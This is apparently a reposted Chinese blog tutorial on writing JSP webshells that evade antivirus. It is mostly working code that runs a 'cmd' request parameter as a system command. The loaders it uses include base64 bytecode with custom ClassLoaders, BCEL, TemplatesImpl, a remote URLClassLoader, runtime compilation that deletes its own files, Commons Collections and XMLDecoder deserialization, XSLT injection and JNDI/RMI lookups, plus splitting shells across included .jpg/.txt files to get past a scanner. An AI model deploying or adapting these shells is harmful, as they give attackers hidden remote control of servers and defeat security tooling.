        PermissionCollection pc = new Permissions();
        pc.add(new AllPermission());
        ProtectionDomain protectionDomain = new ProtectionDomain(new CodeSource(null, (Certificate) null), pc, this, null);
        return this.defineClass(name, bytes, 0, bytes.length, protectionDomain);
      } catch (Exception e) {
        e.printStackTrace();
      }
      return super.findClass(name);
    }
  };

  String cmd = request.getParameter("cmd");
  Class<?> shell = loader.loadClass("com.demo.Shell");

  Object object =  shell.newInstance();
  Method dm = shell.getDeclaredMethod("runs",String.class);

  response.getWriter().println(dm.invoke(object, cmd));

%>

免杀效果：

Apache Commons BCEL被包含在了JDK的原生库中，BCEL库提供了一系列用于分析、创建、修改Java Class文件的API用于处理字节码，但是
com.sun.org.apache.bcel.internal.util.ClassLoader这个类加载器由于安全问题，在JDK7以上版本被移除，导致BCEL字节码的利用变得很局限。

<%@ page import="java.lang.reflect.Method" %>
<%@ page import="com.sun.org.apache.xml.internal.security.utils.Base64" %>
<%@ page import="com.sun.org.apache.bcel.internal.classfile.Utility" %>
<%
  byte bytes =  Base64.decode("yv66vgAAADQAUAoAEAAtCgAuAC8KAC4AMAoAMQAyBwAzBwA0CgAGADUKAAUANggANwoABQA4BwA5CgALAC0KAAsAOgoACwA7BwA8BwA9AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABBMY29tL2RlbW8vU2hlbGw7AQAEcnVucwEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQADY21kAQASTGphdmEvbGFuZy9TdHJpbmc7AQAHcHJvY2VzcwEAE0xqYXZhL2xhbmcvUHJvY2VzczsBAAJpcwEAFUxqYXZhL2lvL0lucHV0U3RyZWFtOwEADmJ1ZmZlcmVkUmVhZGVyAQAYTGphdmEvaW8vQnVmZmVyZWRSZWFkZXI7AQABcgEAAXMBAA1TdGFja01hcFRhYmxlBwA+BwA/BwBABwAzAQAKRXhjZXB0aW9ucwcAQQEAClNvdXJjZUZpbGUBAApTaGVsbC5qYXZhDAARABIHAEIMAEMARAwARQBGBwA/DABHAEgBABZqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyAQAZamF2YS9pby9JbnB1dFN0cmVhbVJlYWRlcgwAEQBJDAARAEoBAAAMAEsATAEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyDABNAE4MAE8ATAEADmNvbS9kZW1vL1NoZWxsAQAQamF2YS9sYW5nL09iamVjdAEAEGphdmEvbGFuZy9TdHJpbmcBABFqYXZhL2xhbmcvUHJvY2VzcwEAE2phdmEvaW8vSW5wdXRTdHJlYW0BABNqYXZhL2lvL0lPRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBABMoTGphdmEvaW8vUmVhZGVyOylWAQAIcmVhZExpbmUBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEABmFwcGVuZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEACHRvU3RyaW5nACEADwAQAAAAAAACAAEAEQASAAEAEwAAAC8AAQABAAAABSq3AAGxAAAAAgAUAAAABgABAAAACAAVAAAADAABAAAABQAWABcAAAAJABgAGQACABMAAADlAAUABgAAAEu4AAIqtgADTCu2AARNuwAFWbsABlkstwAHtwAIThIJOgQSCToFLbYAClk6BMYAHLsAC1m3AAwZBbYADRkEtgANtgAOOgWn/+AZBbAAAAADABQAAAAiAAgAAAALAAgADAANAA0AHQAOACEADwAlABAALwARAEgAEwAVAAAAPgAGAAAASwAaABsAAAAIAEMAHAAdAAEADQA+AB4AHwACAB0ALgAgACEAAwAhACoAIgAbAAQAJQAmACMAGwAFACQAAAAcAAL/ACUABgcAJQcAJgcAJwcAKAcAJQcAJQAAIgApAAAABAABACoAAQArAAAAAgAs");
  String code = Utility.encode(bytes, true);
  String bcelCode = "$BCEL$" + code;
  com.sun.org.apache.bcel.internal.util.ClassLoader bcelClassLoader = new com.sun.org.apache.bcel.internal.util.ClassLoader();

  Class<?> shell = bcelClassLoader.loadClass(bcelCode);
  Object object = shell.newInstance();
  Method dm = shell.getDeclaredMethod("runs",String.class);

  String cmd = request.getParameter("cmd");
  response.getWriter().println(dm.invoke(object, cmd));

%>

TemplatesImpl 加载字节码

TemplatesImpl是fastjson反序列化漏洞中常用的对象之一，但是由于在TemplatesImpl触发漏洞点只是调用个无参构造，导致恶意类的类方法无法被调用，只能将恶意代码插入到无参构造方法，或者静态代码块中。

package com.demo;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;

public class Shell extends AbstractTranslet {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

注意：

这里的类必须继承自AbstractTranslet

<%@ page import="java.util.Base64" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl" %>
<%@ page import="com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl" %>
<%
  class Demo {
    private void setFiledValue(Object obj, String fieldName, Object fieldValue) throws Exception {
      Field field = obj.getClass().getDeclaredField(fieldName);
      field.setAccessible(true);
      field.set(obj, fieldValue);
    }
    public Demo(String s) {
      try {
        byte codes = Base64.getDecoder().decode(s);
        byte _bytecodes = new byte {
                codes,
        };
        TemplatesImpl templates = new TemplatesImpl();
        setFiledValue(templates, "_bytecodes", _bytecodes);
        setFiledValue(templates, "_name", "whatever");
        setFiledValue(templates, "_tfactory", new TransformerFactoryImpl());
        templates.newTransformer();
      } catch (Exception e) {
        e.printStackTrace();
      }
    }
  }
  new Demo("yv66vgAAADQAZgoAEwA/CgBAAEEKAEAAQgoAQwBEBwBFBwBGCgAGAEcKAAUASAgASQoABQBKBwBLCgALAD8KAAsATAoACwBNCABOBwBPCgAQAFAHAFEHAFIBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAEExjb20vZGVtby9TaGVsbDsBAARydW5zAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAANjbWQBABJMamF2YS9sYW5nL1N0cmluZzsBAAdwcm9jZXNzAQATTGphdmEvbGFuZy9Qcm9jZXNzOwEAAmlzAQAVTGphdmEvaW8vSW5wdXRTdHJlYW07AQAOYnVmZmVyZWRSZWFkZXIBABhMamF2YS9pby9CdWZmZXJlZFJlYWRlcjsBAAFyAQABcwEADVN0YWNrTWFwVGFibGUHAFMHAFQHAFUHAEUBAApFeGNlcHRpb25zAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwcAVgEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAIPGNsaW5pdD4BAAFlAQAVTGphdmEvaW8vSU9FeGNlcHRpb247BwBPAQAKU291cmNlRmlsZQEAClNoZWxsLmphdmEMABQAFQcAVwwAWABZDABaAFsHAFQMAFwAXQEAFmphdmEvaW8vQnVmZmVyZWRSZWFkZXIBABlqYXZhL2lvL0lucHV0U3RyZWFtUmVhZGVyDAAUAF4MABQAXwEAAAwAYABhAQAXamF2YS9sYW5nL1N0cmluZ0J1aWxkZXIMAGIAYwwAZABhAQAEY2FsYwEAE2phdmEvaW8vSU9FeGNlcHRpb24MAGUAFQEADmNvbS9kZW1vL1NoZWxsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAEGphdmEvbGFuZy9TdHJpbmcBABFqYXZhL2xhbmcvUHJvY2VzcwEAE2phdmEvaW8vSW5wdXRTdHJlYW0BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgEAEyhMamF2YS9pby9SZWFkZXI7KVYBAAhyZWFkTGluZQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAGYXBwZW5kAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAIdG9TdHJpbmcBAA9wcmludFN0YWNrVHJhY2UAIQASABMAAAAAAAUAAQAUABUAAQAWAAAALwABAAEAAAAFKrcAAbEAAAACABcAAAAGAAEAAAAOABgAAAAMAAEAAAAFABkAGgAAAAkAGwAcAAIAFgAAAOUABQAGAAAAS7gAAiq2AANMK7YABE27AAVZuwAGWSy3AAe3AAhOEgk6BBIJOgUttgAKWToExgAcuwALWbcADBkFtgANGQS2AA22AA46Baf/4BkFsAAAAAMAFwAAACIACAAAABcACAAYAA0AGQAdABoAIQAbACUAHAAvAB0ASAAfABgAAAA+AAYAAABLAB0AHgAAAAgAQwAfACAAAQANAD4AIQAiAAIAHQAuACMAJAADACEAKgAlAB4ABAAlACYAJgAeAAUAJwAAABwAAv8AJQAGBwAoBwApBwAqBwArBwAoBwAoAAAiACwAAAAEAAEAEAABAC0ALgACABYAAAA/AAAAAwAAAAGxAAAAAgAXAAAABgABAAAAJQAYAAAAIAADAAAAAQAZABoAAAAAAAEALwAwAAEAAAABADEAMgACACwAAAAEAAEAMwABAC0ANAACABYAAABJAAAABAAAAAGxAAAAAgAXAAAABgABAAAAKgAYAAAAKgAEAAAAAQAZABoAAAAAAAEALwAwAAEAAAABADUANgACAAAAAQA3ADgAAwAsAAAABAABADMACAA5ABUAAQAWAAAAYQACAAEAAAASuAACEg+2AANXpwAISyq2ABGxAAEAAAAJAAwAEAADABcAAAAWAAUAAAARAAkAFAAMABIADQATABEAFQAYAAAADAABAA0ABAA6ADsAAAAnAAAABwACTAcAPAQAAQA9AAAAAgA+");

%>

在这里由于不能调用恶意类的类方法和有参构造，导致无法动态的执行命令，虽然如此但依旧可能利用ASM，javassist这些字节码框架来动态生成恶意类，进行动态的调用命令，在本文先不在探讨如何利用，

利用的方式将会在后期文章中讲解。

URLClassLoader本地加载

URLClassLoader一般有两种利用方式，一种是远程加载class文件，一种是本地加载class文件。

远程加载class文件免杀：

直接利用远程在家class文件的好处是代码量少，特征少。但是由于需要一个外网主机作为服务器，远程可能存在着被溯源的可能性。

<%@ page import="java.net.URL" %>
<%@ page import="java.net.URLClassLoader" %>
<%@ page import="java.lang.reflect.Method" %>
<%
  String cmd = request.getParameter("cmd");
  URL url = new URL("http://127.0.0.1:8000/");
  URLClassLoader classLoader = new URLClassLoader(new URL{url});
  System.out.println("父类加载器：" + classLoader.getParent()); // 默认父类加载器是系统类加载器
  Class shell = classLoader.loadClass("com.demo.Shell");
  Object object =  shell.newInstance();
  Method dm = shell.getDeclaredMethod("runs",String.class);
  Object invoke = dm.invoke(object, cmd);
  response.getWriter().println(invoke);

%>

这里讲解一下服务端如何搭建：

第一步：在一个文件夹中使用python开启一个http服务

python -m http.server

第二步：将编译好的class文件，根据全限定类名创建相应的文件夹，并导入class文件

以上两步即可完成搭建

免杀效果：

JavaCompiler本地class文件免杀：

该免杀方式为先写入一个java马，利用JavaCompiler将其在jvm运行时编译成class文件，及javac动态编译，在利用urlclassloader加载编译好的class文件，为了消除特征以下的base64编码的内容就是之前写好的webshell代码。由于这种方式会创建java，class文件，为了隐蔽性，在这里将删除的文件在进行了删除处理。

<%@ page import="java.net.URL" %>
<%@ page import="java.net.URLClassLoader" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.io.FileWriter" %>
<%@ page import="java.util.Base64" %>
<%@ page import="java.io.IOException" %>
<%@ page import="javax.tools.JavaCompiler" %>
<%@ page import="javax.tools.ToolProvider" %>
<%@ page import="java.io.File" %>

<%

  class delete{
    public void deleteDir(File directory){
      File files = directory.listFiles();
      for (File file : files) {
        if(file.isDirectory()){
          deleteDir(file);
        }else {
          file.delete();
        }
      }
      directory.delete();
    }
  }

  String cmd = request.getParameter("cmd");
  String base64Code = "cGFja2FnZSBjb20uZGVtbzsgIGltcG9ydCBqYXZhLmlvLkJ1ZmZlcmVkUmVhZGVyOyBpbXBvcnQgamF2YS5pby5JT0V4Y2VwdGlvbjsgaW1wb3J0IGphdmEuaW8uSW5wdXRTdHJlYW07IGltcG9ydCBqYXZhLmlvLklucHV0U3RyZWFtUmVhZGVyOyAgcHVibGljIGNsYXNzIFNoZWxsIHsgICAgIHB1YmxpYyBzdGF0aWMgU3RyaW5nIHJ1bnMoU3RyaW5nIGNtZCkgdGhyb3dzIElPRXhjZXB0aW9uIHsgICAgICAgICBQcm9jZXNzIHByb2Nlc3MgPSBSdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKGNtZCk7ICAgICAgICAgSW5wdXRTdHJlYW0gaXMgPSBwcm9jZXNzLmdldElucHV0U3RyZWFtKCk7ICAgICAgICAgQnVmZmVyZWRSZWFkZXIgYnVmZmVyZWRSZWFkZXIgPSBuZXcgQnVmZmVyZWRSZWFkZXIobmV3IElucHV0U3RyZWFtUmVhZGVyKGlzKSk7ICAgICAgICAgU3RyaW5nIHIgPSAiIjsgICAgICAgICBTdHJpbmcgcyA9ICIiOyAgICAgICAgIHdoaWxlKChyID0gYnVmZmVyZWRSZWFkZXIucmVhZExpbmUoKSkhPW51bGwpeyAgICAgICAgICAgICBzICs9IHI7ICAgICAgICAgfSAgICAgICAgIHJldHVybiBzOyAgICAgfSAgfQ==";

  FileWriter writer;
  try {
    writer = new FileWriter(System.getProperty("user.dir")+"Shell.java");
    writer.write(new String(Base64.getDecoder().decode(base64Code)));
    writer.flush();
    writer.close();
  } catch (IOException e) {
    e.printStackTrace();
  }

  try {
    JavaCompiler javac = ToolProvider.getSystemJavaCompiler();
    int status = javac.run(null, null, null, "-d", System.getProperty("user.dir"),System.getProperty("user.dir")+"Shell.java");
    if(status!=0){
      response.getWriter().println(System.getProperty("user.dir"));
    }

    URLClassLoader classLoader = new URLClassLoader(new URL{new File(String.valueOf(System.getProperty("user.dir"))).toURI().toURL()});
    Class shell = classLoader.loadClass("com.demo.Shell");
    Object object = shell.newInstance();
    Method dm = shell.getDeclaredMethod("runs",String.class);
    Object invoke = dm.invoke(object, cmd);
    response.getWriter().println(invoke);

    new delete().deleteDir(new File(System.getProperty("user.dir") + "com"));
    new delete().deleteDir(new File(System.getProperty("user.dir") + "Shell.java"));

  } catch (Exception e) {
    e.printStackTrace();
  }
%>

免杀效果：

如果大家学过shellcode的免杀，我想都会有一种似曾相识的感觉，没错，这里的字节码类似与shellcode，而类加载器类似于shellcode加载器。本文讲解了最常用的生成字节码的方式，以及利用类加载器加载字节码达到免杀效果。

本章主要讲解，如何利用通用漏洞来进行命令执行，从而达到免杀效果

这种方式就相当于直接触发提供一个反序列化漏洞入口，但是能否被利用，还是在于服务端本身是否存在反序列化漏洞，下面给了一个例子，使用cc1链构建的webshell。

<%@ page import="java.io.*" %>
<%@ page import="org.apache.commons.collections.Transformer" %>
<%@ page import="org.apache.commons.collections.functors.ConstantTransformer" %>
<%@ page import="org.apache.commons.collections.functors.InvokerTransformer" %>
<%@ page import="org.apache.commons.collections.functors.ChainedTransformer" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.util.HashMap" %>
<%@ page import="org.apache.commons.collections.map.LazyMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="java.lang.reflect.InvocationHandler" %>
<%@ page import="java.lang.annotation.Retention" %>
<%@ page import="java.lang.reflect.Proxy" %>
<%
    String cmd = request.getParameter("cmd");
    Transformer transformers = new Transformer {
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class { String.class, Class.class }, new Object { "getRuntime", new Class }),
            new InvokerTransformer("invoke", new Class { Object.class, Object.class }, new Object { null, new Object }),
            new InvokerTransformer("exec", new Class { String.class }, new Object { cmd }) };
    Transformer transformerChain = new ChainedTransformer(transformers);

    Map innermap = new HashMap();
    Map outmap = LazyMap.decorate(innermap, transformerChain);

    Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
    construct.setAccessible(true);

    InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outmap);

    Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class {Map.class}, handler);
    handler = (InvocationHandler)construct.newInstance(Retention.class, proxyMap);


    ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
    outputStream.writeObject(handler);
    outputStream.close();

    ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
    inputStream.readObject();
%>

免杀效果：

可见由于调用的函数太多，特征也非常明显，这里算是提供一些思路。

想必大家都分析Weblogic的xmlDecoder反序列化漏洞，XMLDecoder免杀其实就是利用XMLDecoder处理恶意的xml文件导致命令执行，并没有太多常见命令函数的特征，免杀效果不错。

<%@ page import="java.beans.XMLDecoder" %>
<%@ page import="java.io.*" %>
<%
    String cmd = request.getParameter("cmd");
    String s = "<object class="java.lang.ProcessBuilder">
" +
            "<array class="java.lang.String" length="3">
" +
            "<void index="0">
" +
            "<string>cmd.exe</string>
" +
            "</void>
" +
            "<void index="1">
" +
            "<string>/c</string>
" +
            "</void>
" +
            "<void index="2">
" +
            "<string>"+cmd+"</string>
" +
            "</void>
" +
            "</array>
" +
            "<void method="start" />
" +
            "</object>
";


    XMLDecoder xd = new XMLDecoder(new ByteArrayInputStream(s.getBytes()));
    ProcessBuilder process = (ProcessBuilder) xd.readObject();
    InputStream is = process.start().getInputStream();
    BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(is));
    String r = null;
    while((r = bufferedReader.readLine())!=null){
        response.getWriter().println(r);
    }
%>

其实就是利用XSLT注入来执行命令，但值得注意的是XSLT注入笔者目前并没有想到合适的方法让内容回显，因为XSLT貌似只能执行静态方法且返回值都是以String类型返回，导致process中的数据很难取出来。

<%@ page import="java.io.*" %>
<%@ page import="javax.xml.transform.Transformer" %>
<%@ page import="javax.xml.transform.stream.StreamResult" %>
<%@ page import="javax.xml.transform.TransformerFactory" %>
<%@ page import="javax.xml.transform.stream.StreamSource" %>
<%
    String cmd = request.getParameter("cmd");
    String s = "  <xsl:stylesheet version="1.0" " +
            "xmlns:xsl="http://www.w3.org/1999/XSL/Transform" " +
            "xmlns:rt="java.lang.Runtime"> " +
            "    <xsl:template match="/">
" +
            "      <xsl:variable name="rtobject" select="rt:getRuntime()"/>
" +
            "      <xsl:variable name="process" select="rt:exec($rtobject,'"+cmd+"')"/>
" +
            "      <xsl:variable name="ddd" select="$process"/>
" +
            "      <xsl:value-of select="$ddd"/>
" +
            "    </xsl:template>
" +
            "  </xsl:stylesheet>";
    InputStream in = new ByteArrayInputStream(s.getBytes());
    StreamResult result = new StreamResult(new ByteArrayOutputStream());
    Transformer t = TransformerFactory.newInstance().newTransformer(new StreamSource(in));
    t.transform(new StreamSource(new ByteArrayInputStream("<?xml version="1.0" encoding="UTF-8"?><data></data>".getBytes())),result);

%>

攻击者：

package com.demo;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class Demo2 {
    public static void main(String args) throws Exception {
        try {
            Registry registry = LocateRegistry.createRegistry(1099);
            Reference aa = new Reference("Calc", "Calc", "http://127.0.0.1/");
            ReferenceWrapper refObjWrapper = new ReferenceWrapper(aa);
            registry.bind("hello", refObjWrapper);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

恶意类：

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;

public class Calc implements ObjectFactory {
    public Calc() {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (Exception e) {
        }
    }
    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
        System.out.println(nameCtx);
        //Runtime.getRuntime().exec("calc");
        return null;
    }
}

webshell：

<%@ page import="javax.naming.Context" %>
<%@ page import="javax.naming.InitialContext" %>
<%@ page language="java" pageEncoding="UTF-8" %>
<%
    try {
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
        String uri = "rmi://127.0.0.1:1099/hello";
        Context ctx = new InitialContext();
        ctx.lookup(uri);
    } catch (Exception e) {
        e.printStackTrace();
    }
%>

本章主要是通过自己创造漏洞来执行命令，而我们用到的这些函数其实也是业务中比较常见的函数，且如果不了解漏洞原理，也不好分析是否是webshell

本章只要将之前没讲的一些免杀反射进行补充

<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%@page language="java" pageEncoding="utf-8" %>
<%@ include file = "1.jpg" %>

1.jpg

<%
    String cmd = request.getParameter("cmd");
    Process process = Runtime.getRuntime().exec(cmd);
    InputStream is = process.getInputStream();
    BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(is));
    String r = null;
    while((r = bufferedReader.readLine())!=null){
        response.getWriter().println(r);
    }
%>

免杀效果：

可以看到某盾会查杀jpg文件，这样的话，我们就在分解成多个部分

这里我们分成两部分进行包含

发现依旧绕不过，其实原因就是杀软的匹配规则，有的是单一匹配，有的是同时匹配，因此我们换一个之前不免杀的webshell（由于两处及以上特征存在导致被查杀）

正常运行

某盾不在查杀

<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.io.*" %>
<%@ page import="java.util.Base64" %>
<%@ page language="java" pageEncoding="UTF-8" %>
<%@ include file = "1.jpg" %>
<%@ include file = "2.txt" %>

1.jpg

<%   
        String cmd = request.getParameter(new String(Base64.getDecoder().decode("Y21k"),"utf-8"));
        Class<?> rt =Class.forName(new String(Base64.getDecoder().decode("amF2YS5sYW5nLlJ1bnRpbWU="),"utf-8"));
        Method runtimeMethod = rt.getDeclaredMethod(new String(Base64.getDecoder().decode("Z2V0UnVudGltZQ=="),"utf-8"));
        Method method = rt.getDeclaredMethod(new String(Base64.getDecoder().decode("ZXhlYw=="),"utf-8"), String.class);
        Object object = method.invoke(runtimeMethod.invoke(null),cmd);
        Process process = (Process) object;

%>

2.txt

<%
    InputStream is = process.getInputStream();
    BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(is));
    String r = null;
    while((r = bufferedReader.readLine())!=null){
        response.getWriter().println(r);
    }
%>

java的免杀只要就是在于如何利用字节码，jsp特性，创建漏洞，少见的API等方式去绕过杀软的正则表达式，一般的杀软为了降低误报率，其实规则写的并不苛刻，还是比较好绕过了，多种免杀一起使用可以达到比较好的效果，其实学免杀，并不是盲目去测试，而且要了解更多的语言特性，就相当于游戏规则，当你足够了解游戏规则，再去测试杀软的规则，才能游刃有余。从才开始的php到现在的jsp，免杀系列已经写了10来篇了，weshell免杀就此先告一段落，后面如果有新的知识点也会继续补充，感谢大家。

原文链接：
https://f5.pm/go-126866.html?utm_source=tuicool&utm_medium=referral